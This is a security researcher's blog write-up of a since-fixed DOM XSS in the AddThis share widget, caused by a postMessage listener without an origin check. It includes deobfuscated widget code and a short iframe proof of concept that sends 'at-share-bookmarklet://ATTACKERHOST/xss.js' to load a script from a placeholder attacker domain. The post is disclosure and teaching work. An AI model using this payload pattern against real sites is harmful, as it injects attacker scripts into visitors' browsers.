TL;DR: AddThis is a share button used by over a million sites. They were all vulnerable to XSS earlier this year. In my previous post I described the pitfalls of the postMessage API. This post will describe how I identified and exploited them on the AddThis widget.
While testing an application using AddThis I noticed that it used postMessage, by checking the global listeners in Chrome Devtools:
To see if they had fallen into any of the pitfalls, I added a breakpoint to the listener and sent a message to the page using “window.postMessage("hello", "*")"
:
Examining the listener
The code had no origin check other than that the origin had to be an HTTP/HTTPS page. The expected format of the message could be concluded from line 5364:
at-share-bookmarklet:DATA.
I continued the debugger, then sent a message with the correct format, making the code end up on line 5370, calling the “r
” function.
The “r
” function called another function called “s
”:
The “s
” function looked interesting, it seemed like it created a new script element (perhaps DOM XSS?):
Unminifying
To understand what the function did, I deobfuscated it by naming the variables and removing multiline statements:
e.exports = function(messageData, t, n, s, u, isTrue) { if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called. var scriptTag = document.createElement("script"); if("https:" === window.location.protocol){ var isSecurePage = true; }else{ var isSecurePage = false; } var protocol = ""; var headElement = document.getElementsByTagName("head")[0]; scriptTag.setAttribute("type", "text/javascript"); scriptTag.setAttribute("async", "async"); //Check if user is using Chrome/Safari if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ if(isSecurePage){ protocol = "https"; }else{ protocol = "http"; } //If the message data starts with "//", add protocol before if(0 === messageData.indexOf("//")){ messageData = protocol + messageData; } } //If the message data starts with "//" if(0 === messageData.indexOf("//")){ scriptTag.src = messageData; }else{ scriptTag.src = protocol + "//s7.addthis.com/" + messageData; } headElement.insertBefore(scriptTag, headElement.firstChild); o[messageData] = 1; return scriptTag; } return 1;
Reading the unminified version, I came to the conclusion that sending a message formatted like so:
at-share-bookmarklet://ATTACKERHOST/xss.js
Would add a new script element to the page with the source of “//ATTACKERDOMAIN/xss.js
“. In other words, it was vulnerable to DOM XSS.
PoC
An attacker could add scripts to any page using AddThis (DOM XSS). My final exploit looked like this:
<iframe id="frame" src="https://targetpage/using_addthis"></iframe> <script> document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); </script>
Fix
I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users. The fix added an origin check to make sure that the message would not be sent from any unknown origin.
Conclusion
In short, postMessage can be (and often is) a source for DOM XSS vulnerabilities. If you are using 3rd party scripts, make sure to examine them and their postMessage implementation.
Author:
Mathias Karlsson
Security Researcher
@avlidienbrunn